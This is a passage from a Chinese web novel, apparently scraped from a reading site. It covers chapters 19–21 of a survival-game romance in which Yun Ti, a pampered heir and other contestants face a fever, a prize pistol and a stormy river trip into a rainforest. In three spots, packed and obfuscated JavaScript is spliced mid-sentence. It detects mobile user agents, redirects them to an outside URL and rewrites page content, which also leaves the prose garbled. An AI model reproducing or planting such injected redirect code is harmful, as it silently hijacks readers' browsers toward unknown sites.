不提还好。 光是回想刚才那一幕,黎星言就已经用尽了所有的力气和手段,再也腾不出余力去骂他。 可现在,贺君卓还要翻出昨天的“至暗时刻”,在伤口撒盐。 「养尊处优、不学无术、自不量力、嚣张跋扈……什么都比不上叶玄的无能草包一个。」 字字珠玑,一刀一刀插在心口。 黎星言从未想过,原来自己有这么糟糕,几乎一无是处。 若是别人这么说,他毫不在意。 可偏偏是云媞。 为什么啊? 他如何能不在意? 他喜欢她啊…… 是啊。他喜欢媞媞。 遇见云媞之前,他连喜欢是什么都不知道,他活在象牙塔里,他狂妄,他自大,他目空一切。 他甚至以为,是云媞先爱他爱得无法自拔。 嗤,自作多情。 黎星言垂头,只觉得心脏的血液都开始倒流、冷却。 她何止不喜欢他。 几乎到了厌恶的程度。 连“交往”,都不过是“好玩”二字。 * 黎星言的这场高烧,来得突然且凶猛。 雨林不比外面,别谈医疗水平,闷热潮湿的环境、无孔不入的蚊虫叮咬,不加重病情已是万幸。 “可能是不适应这里,又或者是被携带病菌的蚊虫咬伤。”苏简拧眉道。 总之,高烧不退,确实不太正常。 早听说,雨林的蚊虫会传播恶性疟疾和黄热病,人一旦感染,轻则躺床上十天半月,重则丢了性命。 本打算剥开他的外衣,看看有没有伤口,但尚存一丝意识的黎星言,死活不让人碰。 抱胸拢衣,跟个贞洁烈男似的。 云媞进门时,正处在僵持阶段。 “走开!” 黎星言眯着眼吼道,他烧得浑身滚烫,理智涣散,热气在暖黄的吊灯下蒸腾。 大有一副自生自灭的架势。 云媞左看看右看看,反手指自己,“啊?我吗?” 听到熟悉的声音,黎星言紧绷的情绪顿时松懈,强行让自己睁开眼。 面前却是一片模糊。 光斑汇聚,忽明忽灭,很难拼凑出完整的形状。 又做梦了。 怎么会是媞媞。 她那么厉害,所有人都对她崇拜不已,而他只是个一无是处的废物。 “媞媞、媞媞……” “差不多得了,叫魂啊。” 云媞蹙眉,一脚把门踢上,直接将那群凑热闹的人隔绝在外。 苏简刚才嘱咐过,黎少爷可能是偶像包袱太重,不想别人看到他落魄的样子。 强行脱掉他的上衣,白皙如玉,因为高烧,肌肤都透着几分粉。 黎星言看着弱鸡,身材其实练得不错,肩宽腰窄六块腹肌,是让人赏心悦目的薄肌体型。 但很显然,在云媞面前,不过是扒光了给瞎子看。 按着他的肩膀,云媞跟猪肉质检员似的,来回翻看。 没有寄生虫附着的痕迹。 上面检查完了,下面呢? 指尖刚触上裤带,黎星言低低地哼了一声,似乎很不舒服。 云媞停下手上的动作,拍拍他的脸:“没有伤口感染吧?” 对方垂头闭眼,眉心紧皱,已然神志不清。 云媞之所以能得出这个结论,因为她知道,黎星言要是清醒了,肯定不会像现在这样—— 一个劲儿地用脸颊蹭她的手心。 “对不起、媞媞,我不该第一次遇见你时,就、就那样骂你,太恶劣了……” “我讨厌你!为什么要叫死非主流班班,那么亲昵……还有那个装货,有那么好吗……” “我其实,或许,也没有那么,糟糕的……” 掌心一片柔软、温热。他呢喃时,上下颚骨轻颤。 像跳动的心脏。 - 直到凌晨,黎星言的体温才慢慢降下去。 那群徒步三十公里的选手们,也终于在地图关闭前,赶到雨林集合点。 最后共有196人闯关成功,每人获得初始奖金2万元。 躺赢的庆幸,出力多的暗自不满。 但此时此刻,更多的是为磨难暂告段落而高兴。 高脚屋下燃起一丛篝火。 叶玄寻来苍术、香茅和艾叶草,加在枯枝竹木里一起焚烧,能够驱蚊防虫。 同时,烟火还是警告雨林其他生物切勿靠近的信号。 搬出节目组放在屋里的食物,大伙围坐一圈,吃肉喝酒,划拳猜枚,倒真有了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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雨林里的蚊子,有拳头大,一口下去,能把细皮嫩肉的少爷咬得青一块紫一块。 要不是小贺心细,在他房里点了几簇香茅草,估计能被蚊子直接抬走。 “听说媞姐今天狂奔几十公里,从饿狼口里抢回来的包裹,是……” 是黎少爷的屎袋! 这个趣闻已经传遍了。 匪夷所思、闻所未闻、笑掉大牙! 虽然一直知道黎星言的浮夸做派,但陡然被云媞戳破时,上层人士的悬浮落了地,竟显得格外滑稽。 差点以为优雅少爷,都不用上厕所呢。 “别说了,再说黎少爷又要猛甩几张支票到脸上,叫你速速闭嘴了。” “要我说啊,这小少爷这趟玩好了,就赶紧回家吧,真是挥霍潇洒的日子过够了,跑这儿自找罪受……” “哎有钱真好,我也想有这么豪的爹啊” “我想当这么有钱的爹……” “什么?你想当黎少爷的爹……” 越说越离谱。 叶玄打断他们的明嘲暗讽,问云媞:“好像还不知道节目组的额外奖励是什么呢。方便透露吗?” 话音未落,所有人的注意都被吸引过来。 云媞不紧不慢捆完最后一簇烧好的香茅,抖了抖上面的青灰,递给贺君卓。 “哦,那个啊。” 她从口袋掏出一个东西,晃了两下。 空气瞬间凝滞。 四周皆是倒吸凉气的声音。 喝酒的不喝了,猜拳的不猜了,吹牛逼的也不吹的。 连蹲坐在暗处的沈泰几人,都放下二郎腿,倏地起身。 “笑啊,怎么不笑了。”云媞歪头。 她右手随意把玩的小物件,在篝火下,反出冰冷的暗光。 是…… 一把手枪。 19. 第 19 章 这把手枪,在《问鼎荒原》里归叶玄所有。 击杀巨鳄,阻挡森蚺,毙伤暴动象群…… 更重要的,他拿它杀过人。 所以,云媞很能理解叶玄对这把枪的渴望。 就像势在必得的猎物,中途被死对头抢去,怅然若失又无可奈何。 在他第四次,旁敲侧击想要仔细看看时,云媞同意了。 将手枪托到眼前,云媞警告:“只准看,不准摸。” 叶玄哑然失笑:“还能抢你的不成?” “谁知道呢。” 虽然叶玄在书里是个“正面人物”,但就像明娇娇所说,保不准换个视角,他就成了伪善反派。 反正云媞觉得,黎星言那蠢货肯定做不了反派。 不知为何,小姑娘好像对他误解很深。 叶玄无奈摇头,没有过多计较。 顺着云媞的手,叶玄环视一圈。 昨晚仅匆匆远望一眼,但他已大致猜出手枪型号。 Glock17,半自动手枪,17发弹匣。 “这枪不错,射程长、命中精度高。适合隐蔽携行和紧急状态下快速拔枪,”叶玄顿了下,微蹙眉头,“不过没有外部手动保险,容易擦枪走火。” 他问:“你会开枪吗?” “不会啊,咋了?”云媞警惕性极强,“想借教我开枪的由头,占为己有啊?” 叶玄轻笑一声,“在你眼中,我就这么坏吗?” 他的语气很淡,似乎只是随口一问,对答案并没有什么执念。 见云媞迟疑,他适时转移话题:“这样,我不碰枪,只教你怎么握持和操作板机。” “不过,最重要的是机械安全检查,别走火伤了自己。” 说罢,他摆出持枪的姿势,示意云媞跟自己学。 林间鸟飞虫鸣,清晨的阳光透过树冠间隙斜射,光雾氤氲,形成完美的丁达尔效应。 黎星言倚靠在窗后,看着这一幕只觉得异常刺眼,刚清醒的脑袋又开始眩晕。 他咬牙,掀开保温毯。 “啧,那么好的东西怎么就落到个小丫头片子手上了,玩得明白吗她。” “那不正有人教她玩吗?” 竹墙之隔,交谈声低哑狡谲。 “泰哥,什么时候动手?” 黎星言轻手轻脚躺回原位,耳朵紧贴墙面。 “进雨林后吧。” * 集合点休整两日。 有人好奇心重,结伴跑到林中探险,被不明蛇虫咬伤,回来时上吐下泻、皮肤溃烂、高烧不退。 医疗物资有限,饶是苏简和户外专家也束手无策。 节目组终于大发慈悲,派出工作人员。 这是被丢到荒岛以来,第一次见到除选手以外的真人。 将伤员们运送出去,工作人员开始强调接下赛程的惊险。 雨林越往深处走,越是神秘莫测,毒蛇异虫、瘴气沼泽、长时间的幽暗环境,极易摧毁人的心理防线。发生任何意外,节目组都来不及营救。 “稍不留神就可能命丧于此。希望体质薄弱、适应能力不强的选手们,量力而行、及时止损。” “现在退出,每人能得到初始奖金2万元,安全送回国内。” 工作人员停顿数秒,“但选择继续的选手们,雨林地图闯关成功,将会获得累计奖金500万元。” “人均。” 话音未落,一片哗然。 2万和500万,相差实在太大。 原先畏畏缩缩想要退出的选手,突然又支棱起来了。 回去也是穷鬼一个,留在这里起码还有一线生机。 人生不过一场豪赌,身无分文的来,赌赢了丰功厚利,赌输了贱命一条。 赌注只有一个,那就是自己。 最终,集合点196人,除去受伤强行退赛的8人,以及自愿退出的25人,共163人选择「继续」。 “黎少爷,您真的不回去吗?” 工作人员拦住黎星言,语气官方:“陆先生和黎女士都希望您能到此为止,这也是我来这里的主要任务。” “什么意思?”黎星言蹙眉,“你不是来救那些病重的人吗?” 自然不是。 这里所有选手都签过免责协议,他们是死是活,与节目组没有半点关系。 正相反,多点死伤,只会让节目更有看头。 如果不是黎星言也恰巧出了点小意外,他们压根不会露面。 “对我们而言,只有您的命是最宝贵的。” 原以为会很受用,谁料黎星言勃然大怒,“这是人命!不是你们博弈取乐的工具!” 工作人员笑了,微微鞠躬道:“愿打愿挨,我们并没有胁迫谁。” 早听圈子里说过,有些节目打着人性实验、竞技博弈的旗号,专以戏耍底层人的苦痛为乐,供全世界上流阶层观赏。 黎星言原以为不过是天方夜谭,却没想到真实存在。 既然他的命这么宝贵,那么…… 他留在这儿,媞媞才能更安全。 更何况,那群人已经盯上了她。 “我不走,”黎星言警告,“你们必须把那些受伤的选手救治好后,平安送回国。” 真不愧是千娇百宠长大的傻白甜。 不过也好,他的身份只会为这场赌注加码。 华国首富的儿子与一群亡命徒,这噱头谁能不期待呢。 工作人员颔首,最后问:“您确定吗?” – “我确定。” 听到黎星言斩钉截铁的回复,沈泰笑着起身,主动伸出右手,“黎小少爷,合作愉快?” 视线掠过这只笑面虎,一一扫过去。 眼神玩味的项雄、面色铁青的吴光豪、漠然寡言的陈荣,还有…… 站在最后面一脸担忧的张静敏。 “合作愉快。” 敷衍地用指尖碰了下,黎星言飞快收回手,背到身后,“按之前说好的,你们替我教训叶玄,让他在媞……在大家面前出丑。” “有空把那个彩色头发非主流也揍一顿,叫他离云媞远点。” “不用担心报偿,事后少不了你们。” 想到什么,黎星言正颜厉色补充道:“最重要的一条,你们所有人,都不许打云媞的主意。” 沈泰深深看了他一眼,兀地低头笑道:“好。” * 在高脚屋的最后一晚。 少了来时的轻松和谐,气氛开始变得微妙。 走的都是基于猎奇、插科打诨的选手,能选择继续留下,大部分想放手一搏。 执念重,心思便重。 甚至暗处,不知多少人盯着云媞那把手枪。 有人开玩笑:“这枪真的假的?吓唬人的吧?” “为什么会奖励一把枪,难不成……想让我们自相残杀?” 云媞听不懂人话。 但会配合地举起枪,瞄准对方的脑袋,一本正经地回:“没用过,要不试试?” 嗯…… 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明娇娇怼起人来也毫不含糊,“人云媞都没说什么,轮得到你指手画脚?看不惯那你走呗,真以为自己是他亲弟啊。” 班列敛了笑,抬眸,眼底没有一丝温度。 突如其来的骇人气压,令明娇娇心脏骤停一瞬,没说完的话哽在喉间。 下一秒,云媞握着剪刀把手,直接给了班列头顶一锤。 对方眼神瞬间清澈,委屈巴巴地抬头,“对不起,姐姐。” “老实点,别乱动。” 云媞哪里会剪头发,刀落到哪儿就咔嚓一下,好几次差点剪到班列的耳朵。 孩子愣是一声不吭。 还是明娇娇眼尖,“哎哎哎流血了喂!” 这下好了,瓜子不磕了,仇也不记了,开始当起监工,指挥云媞剪发。 班列腹诽:“姐姐剪成什么样我都喜欢。” 言下之意,不要你掺和。 嘚,好心当成驴肝肺。 明娇娇翻了个白眼,把头扭到一边,“你这不是头发残,是脑残。” 最后一刀,落在班列额前遮眼的刘海。 这一刀下去,天都亮了。 看着镜子里的自己,班列嘴角微不可察地抽搐两下,“好、好看。” 跟牛舔了似的。参差不齐、薄厚不均。 云媞倒很满意,至少将那些碍眼的彩色挑染全剪了,露出完整的额头,整张脸都变得清爽很多。 “明娇娇,你觉得呢?” 生闷气但听话的明娇娇,将信将疑看过来。 愣怔数秒。 好像……确实还不错啊。 她指的是那张脸。 剑眉星目、面部轮廓硬朗、黑皮,还带着一股少见的少年气。 碎发刺得慌,班列起身脱掉外套,低头用手胡乱掸了掸。 那件黑色背心严丝合缝贴在身上,随着他的手部动作,显出健硕的肌肉线条。 “还、还行吧。” 明娇娇慌乱挪开视线,看在云媞的面子上,敷衍恭维:“可以当男模。” “还男模?当馍都难!” 一道张扬的声音恰逢其时插进来。 只见黎星言疾步跨门。 很急,但不知在急什么。 他没有看云媞,而是不屑一顾地瞥视班列,似乎被丑瞎了眼,“哎哟”一声。 “这脸感觉一拳下去会慢回弹,发面馒头麻烦去食品区好吗?” 20. 第 20 章 确实,与黎小少爷这精致无瑕的脸蛋天才相比,其他人多少差点意思。 面对这张大病初愈的俊脸,云媞欣赏半晌,认真说:“你最好看。” 一下给黎星言整不会了。 刻薄的话堵在嗓子眼,上不去也下不来,差点梗死。 “那、那你还……” 还把我骂得一文不值。脸好看,难道不是一种天赋吗? 不行,不能这么说。 男人靠脸吃饭不是什么值得炫耀的事。他不能让自己显得更加没出息。 黎星言轻咳一声,“我可不止长得好,小爷我其他优点多着呢。某人看走了眼,躲被窝里后悔去吧!” 不敢多说,说多了怕自己跪地求和。 黎星言扭头就走,不给云媞反应的机会。 跟在身后的贺君卓夹着嗓子,附和道:“后悔去吧!” 刚说完,表情浮夸地指了指黎星言的背影,忙双手合十作揖致歉。 放过孩子吧,都是少爷的任务罢了。 他们前脚刚走。 后脚恶人团几人便跟了上来,一脸戏谑。 左手扒拉,右脚扫踢,把这里搞得一团糟。 最后,警告性地点了点班列。 “脑残鱼贯而入。” 凝望他们离开的背影,明娇娇无语,“以为拍古惑仔电影吗?都在装什么啊。” “你惹他们了?”她问班列。 不是班列惹了他们,是黎星言惹了班列。 所以……他们是在给黎星言撑腰? 豹豹思考,豹豹不解。 剧情什么时候突然进展到这步了?他们怎么伙同一块儿的! 更重要的是…… “黎星言说谁后悔?” 云媞慢吞吞看向班列,后知后觉吸了口气,恍然大悟:“是你做了对不起他的事?” * 翌日。 手环发出通知。 【《生存者游戏》节目组提醒您:雨林地图即将开启,此前一切交通工具作废。选手们将乘坐游轮进入雨林深处,于15天内走出雨林,并前往山脉北麓的雪山集合点。请简装出行,注意安全。】 河道离高脚屋不远,几艘船停在岸边。 说是游轮,实际就是简易探险船。长十米左右,可容纳的人不多,从外观上看,像上个世纪雨林探险幸存者留下来的产物,木质构造、圆弧形船身设计、采用的也是老式单发动机和单螺旋桨。 木板上陈年淤泥隐隐透出一股腐臭。 黎星言捂着鼻子,直皱眉,“这也能叫游轮?” 连他家的小型汽艇都不如。 少爷显然还没意识到事情的严重性,直到登船限重。 看着自己那四个28寸大行李箱,黎星言傻眼了。 两箱衣物,一箱日用品,另外白色行李箱里的食物还剩半箱——因为和云媞“闹别扭”,她已经好几天没有主动打开过这个箱子了。 每船最多容纳8-10人,即使其他人什么都不带,黎星言最多也只能留两个行李箱。 这下千金难买狗腿子。 况且进了雨林,路况复杂前行不便,人家都背个包,谁有余力帮少爷扛箱子。 黎星言必须忍痛做出取舍,最好只留一个包。 每日一换的衣物、护肤品防晒喷雾发胶、折叠帐篷户外浴罩…… 究竟哪一个能丢下啊! 让超级洁癖黎星言做一个几日不洗澡不换衣服不做造型的野人,还不如让他…… “回家吧孩子,回家吧好吗?” 明娇娇看不下去了。 真不懂他脑子被哪只驴踢了,融不进去的圈子非要硬塞,“再不快点,天都要黑了!” 这是实话,越往深处走,植被覆盖率越高,天黑得越快。 雨林的黑夜,比山地充满更多未知风险。 叶玄打量几艘船,发现按人头和船只数量来算,倒是有多余的空间,无非是每个船多点人和少点人的区别。 但下了船,如何安置那些行李是个大麻烦,到头来还是得扔。 他思忖片刻,决定给天真的少爷敲记警钟,“黎星言,接下来的路没有你想象中那么轻松有趣,你的身体可能会吃不消,在这里停下还来得及。” 众人的目光聚集过来,多数表示强烈认同。 少数不舍,也只是将他视作移动金条。 就连云媞…… 云媞已经在选好船了! 正站在甲板聊得火热! 和班列! 眼看那船所剩余位不多,黎星言急了。 “谁要回啊!谁回谁是孙子!” 两眼一闭就是扔。 黎星言迅速择出几件干净轻薄的衣服,塞进白色行李箱,关好,甩给身后的贺君卓。 随后自己背着救生包,潇洒跳上船。 “跟上来!” – 船往上游开。 四面是深绿河水和丛林,藤本植物的根系扎根河中,将泥岸包裹,像无形的千手,时不时触上船后方的轮状推进器。 船身震颤一下,继续前行。 云媞和班列都是第一次见到这样的景色,太过新奇,以至于两人脚生根了似的,站在船头一动不动。 他们乘坐的是头船,前面没有遮挡物,视野开阔,但也意味着遇到危险时首当其冲。 比如现在,日头正烈,直射水面,蒸腾出灼人的热气。 “媞妹,你一小女生不怕晒黑啊?” 马育铭止不住地擦汗,手持小风扇却还正对着黎星言。 他是当初被黎星言保镖拦下换车的司机大哥。 曾出言不逊地说出“早说有钱拿我就不装了,全给少爷您装就完事了”。 是的,他已经不装了。毕竟,谁会和钱过不去呢。 “说了,没用的。” 明娇娇将脸上的面膜抚平,身子往里挪挪,避免被更多紫外线照射。 偷偷瞟了眼甲板上的云媞,黎星言沉默数秒,朝马育铭摊开手,勾勾指头。 对方愣住,不明所以,“啊?什么?” 头脑简单的大老粗! 黎星言忍住内心的燥郁,一把抢走手持小风扇。 起身,装作超不经意地伸懒腰、活动筋骨,再慢慢挪步到甲板。 “还真热。” 他仰面眯起眼,举着风扇,左右晃动。 实际,风向全偏往云媞那边。 当云媞看过来时,黎星言又猝然收回暗中观察的余光。 “你……”云媞开口,“是不是病还没好全?” 突如其来的关怀,让黎星言受宠若惊。 为了让自己显得不那么廉价,他微收下巴,摆出角度最完美的侧脸,瞥向云媞,“早好全了,我身体素质很好,一直都有锻炼,这是这么多年以来第一次发烧……” “那你手怎么偏瘫了?”云媞打断他的话。 “啊?” 云媞指着他手上的风扇,“拿不稳吗?全吹我脸上了。” 说罢,伸手将黎星言的手腕摆正,“这样才是正对着你自己的。” 老天奶! 黎星言脚都站不稳了,虚浮后退几步。 这无疑于小猫讨好撒娇蹭人腿,却被人说“是不是身上有跳蚤”“痒了就去洗澡”。 不行了,羞辱性太强,我得逃…… 黎星言仓惶转身。 “嘣咚”。 船身撞到沿岸裸露的根系,船头震感强烈。 黎星言没站稳,脚一滑,身体瞬间失去平衡。 就在即将摔个人仰马翻之际,一只手覆上腰间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129843|180239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 天旋地转,鸟语花香,树隙阴翳,水雾朦胧。 简直是天赐良…… 等等! 叶玄?! 黎星言猛得弹起身子,一把推开眼前人,“你你你!” 倏地回头,只见云媞和班列同时眨眼,一脸看热闹不嫌事大的表情。 “我就说你还没好全吧,”云媞笃定点头,“你看,不仅手抖,腿也软。” 叶玄也笑,手握虚拳移到嘴边,轻咳一声,“河道变窄,船身容易磕碰,你站在这里不安全,快进去吧。” 黎星言犟种脾气上来了。 怎么?你们站这儿都安全,就我不安全? 瞧不起谁呢! 正要呛声。 轮船像在回应叶玄的话,又咯噔一下。 猝不及防,黎星言手中的风扇震落在地,转瞬间顺着倾斜的甲板,滑到河底,扑通一声。 好了,这下谁都别吹了。 世界也安静了。 – 这种安静持续了几个小时。 很快,天色暗下。 雨林变得喧豗。 各种鸟兽的叫声,在黑暗中无限放大。 两岸猴啼尖细,时而悠长,时而短促,一惊一乍,尤其瘆人。 船上食材有效,也不便生火。 简单吃过后,除了“值班船长”马育铭,需要留在驾驶室监控船行方向。 其他人围在舱内玩起狼人杀。 云媞独自坐在船头。 小腿自然悬在外面,鞋尖有一搭没一搭轻点水面。 豹豹一向擅长自娱自乐。 河面深渊一般,幽暗如墨,搅起来都带着黏稠。 云媞想的却是:这里面有肯定很多鲜嫩肥美的鱼。 突然,湖面泛起光纹。 转头,身后悬挂的煤油灯已被点亮。 黎星言坐到云媞身侧。 中间几乎隔了一个人的距离。 “你怎么来了。”云媞问。 “看某人一个人可怜呗。我可不像所谓的好弟弟,只顾自己玩游戏。” 看到云媞一脸茫然的表情,黎星言心头一梗。 他之前难过云媞没那么在乎自己,气恼她玩弄自己,更后悔一时冲动提了分手。 可现在他才发现,云媞或许真的什么都不懂。 不懂交往和分手的意义,也不懂他的反话、潜台词和酸言酸语。 不通情爱,那是不是代表……她其实对叶玄和班列并没有那个意思。 即使有好感,也不过是基于对他们能力的认可。 只要他努力变得更强,让云媞发现他的好,发现他并不比叶玄和班列差。 她会不会就……不那么小瞧他。 这几日,黎星言将云媞“锐评”他的那几句话,反反复复琢磨了上百遍。 恍然醒悟:至少,她认可他的“好皮囊”和“臭钱”。如果这是他所剩不多的优点,那么他就该发扬光大,不是吗? 正想着。 女孩突然凑近,以一种投怀送抱的姿态。 黎星言四肢僵硬,不敢动弹。 仿佛回到了冲动接吻的那个夜晚。 “你闻起来,”云媞皱起鼻子,嗅了嗅,“酸酸的。” !!! 难道她…… 她闻到自己身上的汗臭味了! 啊啊啊啊就说人不能不洗澡吧! 一瞬间,黎星言羞愧到红温,弹射起步蹿回舱内。 东倒西歪。 船头煤油灯摇摇晃晃,拉长的光影在甲板上荡起涟漪。 云媞眨了眨眼,想说:他刚才说那些话时,体内散发出的气息,很酸。 像塞伦盖蒂常见的猴面包果,嚼起来酸甜干燥,却会分泌蜜露。 想吃。 21. 第 21 章 深夜,叶玄和马育铭换班。 船上五个男人,除了黎星言,其余几人都要参与值班任务,以免突发事故。 一点左右,雨林万籁俱寂,偶有几声猴叫。 船行至支流,低矮的树冠摩擦船顶,给人一种随时搁浅的压迫感。 叶玄看了眼地图。 没有参照地标,不过是一张废纸。 但按照节目组出发前给的提示,往支流上游走总归没错。 收起地图,一偏头,云媞正趴在窗台上。 双臂交叠,下巴搁在手背,一双黑溜溜的眼睛眨都不眨。 像小学生似的,规规矩矩。 “怎么还没睡?”叶玄问。 云媞没回答。 不会是……在梦游吧。 以前在部队,叶玄见过许多奇人异事。 像这样梦游、睁着眼睛睡觉,那都是最常见的。 思忖数秒,叶玄拾起手边的外套,正要披到云媞肩上。 “要下雨了。” 女孩幽幽开口。 叶玄一顿,自然收回手,笑道:“又是听出来的?” 雨林天气阴晴不定,95%的雨来自树叶的蒸腾作用,暴雨说下就下,倒也并不罕见。 但他还记得沙尘暴那天,云媞也用类似的语气提醒过。 笃定且坦然。 是他妄自尊大,没有听信,才摔了跟头。 “会有什么危险吗?”叶玄望向她。 虽不知道这个女孩身上有什么秘密,但她的确神通广大。 “你相信了?”云媞抬眼,有些疑惑。 “为什么不?你很厉害。” 变了。 云媞发觉,叶玄似乎也变得和书中不太一样。 原书里提到过,因为成长环境使然,他唯一的缺点就是固执己见、一意孤行。 但好在,「无一例外,最终结果证明,他做出的决定都是正确的。」 不过现在,他眼底的谦卑和欣赏不似作假。 云媞想了想,摇头,“不知道有什么危险。” 她没在雨林生活过,对这里的环境一无所知。 “反正会下暴雨。” 话音未落,一滴雨砸在手背。 紧接着,水面浮现一圈一圈波纹,越来越密。 雷声炸响。 林间,猴子尖叫着四处乱窜,树冠开始簌簌发抖。 “下雨了?” 班列顶着个鸡窝头出来,冒雨走到甲板,沿着船头检查一番。 岸边,折断的蚁塔顺流而下,白蚁群在漂浮的枯枝上疯狂蠕动。 闪电劈开天幕,白光瞬间照亮整片绿野,河流都在沸腾。 船底擦过河床的动静,在黑夜就像百鬼哀嚎。 叶玄降下船行速度。 舱内,大家也都被吓醒。 见到落雨,黎星言撸起袖子,将胳膊伸出窗外,就着雨水来回搓。 他已经念叨了一晚上“等下了船看到小河,一定要洗个干净”,好不容易睡着,结果一睁眼还惦记着这事。 真是魔怔了。 到底哪儿脏了!跟个鲜奶糯米糍似的,香气都快腌入味了。 出于对金主爸爸的尊敬,贺君卓决定提醒一下:“这雨应该挺脏的,把树叶上的灰尘和动物屎尿都冲下来了……” 黎星言缩回手,将信将疑。 睡床下地铺的马育铭,打着哈欠,翻了个身,“少爷你那手伸出去,都可以碰到边上的树了,说不定还有蛇呢。” “啪!” 木窗被猛得关上,锁扣也卡得严严实实。 贺君卓和马育铭吓得一激灵,顶着睡眼惺忪的脸,望过去。 “先、先说明,我不是怕蛇啊,我就是……”黎星言摸摸鼻尖,心虚移目,“风吹得有点冷了,嗯。” – 雨点打在后颈像冰锥。 云媞毫无觉察。 雨越下越大。 上游水流湍急,朝船头呼啸奔来,幽深水面很快结出白雾。 无人机残骸卡在树杈间,镜头红点闪烁不断。 “叶哥!崔哥说他们的螺旋桨好像被什么东西缠住了!”马育铭猛敲驾驶室的舷窗。 突然身后一声巨响。 几人闻声,探身望去。 两艘船竟被另一条支流汇入的强大水压冲出队列。 船里的人尖叫着跑到甲板,挥手求救,但船只已被水流推离航道,汇进另一条河道。 像张着深渊巨口的巨兽,很快,将那点光亮吞噬。 意外就发生在一眨眼的功夫,所有人始料未及。 下一秒,云媞和叶玄的手环同时震个不停。 是其他选手传来的“连接请求”。 频率之快,跟通了电的刑具似的,震得人能当场跳支popping舞。 看着显示屏上密密麻麻的名字,云媞蹙眉。 一个人也不认识。 “这个是苏简,”明娇娇刚从惊魂未定中回过神,“她是那个很温柔有耐心的女医生。” 她顿了下,意识到自己没有立场指挥别人做事,于是慌乱解释道:“我只是随口一说,没有让你接的意思……” 谁知,云媞指尖一触,径直接通信号。 没有任何犹豫。 这种看起来“全然信任”的举动,让明娇娇兀地眼眶发烫。 “云媞我是苏简,抱歉打扰了……” 手环里的声音很焦急。 原来,苏简在崔达船上,也就是马育铭刚才说的“崔哥”。 他们的轮船目前出了点意外,前驱动力不足,崔达怀疑螺旋桨被东西绞到,想要就岸停船查看,但船上其他男人都不愿下去。 无奈之下,崔达便想求助叶玄,看看能不能一起行动。 “叶玄那边没联系上,所以想着试试call你,实在不好意思,”苏简那头背景声杂乱,信号断断续续,“可以麻烦你叫下叶玄吗?” 叶玄正和马育铭在驾驶舱把控方向。 河水暴涨,头船首当其冲。 而船上只有叶玄会开船,马育铭略知皮毛。为了避免刚才的事故重现,他们此时也是焦头难额,已无暇顾及其他。 云媞收回视线,问:“他能帮什么忙?” …… 对面沉默。隐隐听到有男人骂了声“艹”。 这大概就是拒绝援助的意思了。 也是,黑灯瞎火的雨林,还下着暴雨,沿岸不过看着像岸,实际说不定只是扎在泥泞里的浮木,谁知道里面藏着什么蛇虫毒蝎。 出事故的是他们的船,人家巴不得能趁机淘汰这群对手,怎么会冒险下船帮他们排查。 苏简轻叹一口气,语气依旧温和:“好的,那不麻烦你们了,注意安全……” “是我不行?” “啊?”苏简愣住。 只听云媞淡淡地说:“我去不就得了。” – 密不透风的树冠形成天然大伞,极大程度削弱骤雨的威力。 靴底陷入松软的苔藓层,像踩在吸饱雨水的海绵上。 头灯的光线晃到时,脚下冒出的白色水泡,清晰可见。 雨林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129844|180239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的土壤似乎也会呼吸。 每一步都走得提心吊胆。 当然,只有崔达。 云媞和班列就跟小学生春游似的,左看看右瞅瞅,满眼新奇。 很快,绕到船后。 好几人趴在船边,有同样胆战心惊的,也有幸灾乐祸的。 苏简举着探照灯,伸直手奋力往下照,“看得到吗?” 螺旋桨的确是被藤蔓缠住,几乎绞进保护罩最里面。 崔达试图用短刀割断。 毫发无伤。 “嘶。” 云媞伸手,捏了捏崔达胳膊上的肌肉,“这玩意是真的吗?” 如此危机的关头,还有心情欣赏身材。女人果然想一出是一出,不靠谱。 崔达用力拍拍膀子,“听听这厚实的声音,还能有假?” “行了别添乱了,”崔达拂开云媞的手,懒得跟小女孩掰扯,“看好周围的环境就行,别让蛇……” “蛇!”班列喊道。 “哪里哪里?!” 崔达双手双脚疯狂甩动,像商场门口开业迎宾的气球人。 生怕有什么东西掉到自己身上。 云媞上前,将他扯到身后。 手电筒光束扫到左舷。 浑浊的浪头里浮出半截树根,弯曲的树干像水蛇一样,缓缓立起。 …… “看来这肌肉真不是假的,”班列嗤笑,指着崔达的胳膊。 上面布满鸡皮疙瘩,连寒毛也倒竖起来。 假肌可做不到如此逼真。 气得崔达一阵无名火,正要臭骂。 只听树木倒伏的闷响。 扭头,云媞手抓一大把树藤,眼神清澈,“是这样除吗?” 螺旋桨里纠扯不断的藤蔓,已然清理干净。 被斩断的根系浮在水面,撞到钢板外壁,发出指甲刮黑板般的锐响。 崔达一梗,自觉闭麦。 原来,他听错了小姑娘刚才话里的重音…… 她不是在感慨真肌肉像假的一样健硕。 而是匪夷所思—— 这男人,看起来肌肉虬结,怎么连个树藤都割不动。 * 船上其他人试着启动发动机,螺旋桨开始低速旋转。 轮船恢复正常。 在众人欢呼声中,几人原路返回。 “抱、抱……” 崔达纠结许久,一句“抱歉”憋在嘴边,愣是说不出口。 算了就这样吧,反正以后也不会有过多交集。 他抿紧唇,继续警惕周围环境。 突然,扑来一阵温热。 低头一看,怀里的女孩仰起脸,与他四目相对。 “你要抱抱?” 